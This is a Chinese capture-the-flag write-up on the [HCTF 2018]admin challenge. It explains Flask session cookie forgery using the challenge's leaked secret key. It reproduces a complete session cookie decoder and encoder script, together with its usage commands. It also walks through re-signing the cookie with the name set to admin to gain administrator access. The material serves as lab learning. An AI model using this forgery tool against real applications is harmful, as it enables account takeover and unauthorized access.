Flask中的session伪造

本文主要以buuctf中的一道题为例来讲解：[HCTF 2018]admin

看了一位师傅的操作，太强了，就来记一下笔记。

Flask之session伪造 - FreeBuf网络安全行业门户

之前做这道题的时候用的是Unicode欺骗，这次试试session伪造。

打开靶机，注册一下，然后登陆，之后看一下自己的session。

然后我们点击change password，在其源代码中可以看到一个GitHub地址，是源码，下载下来

GitHub - woadsl1234/hctf_flask: hctf_flask

之后在app目录下的config.py中找到secret_key：ckj123

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

这里放一个大佬的session破解与加密脚本

import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本使用方法：
解密：python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"
加密：python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

先解密：

可以看到变成明文了，再将其中的name值改为admin，再加密：

 

然后将加密出来的session替换原来的刷新一下页面就可以了

 

拿到flag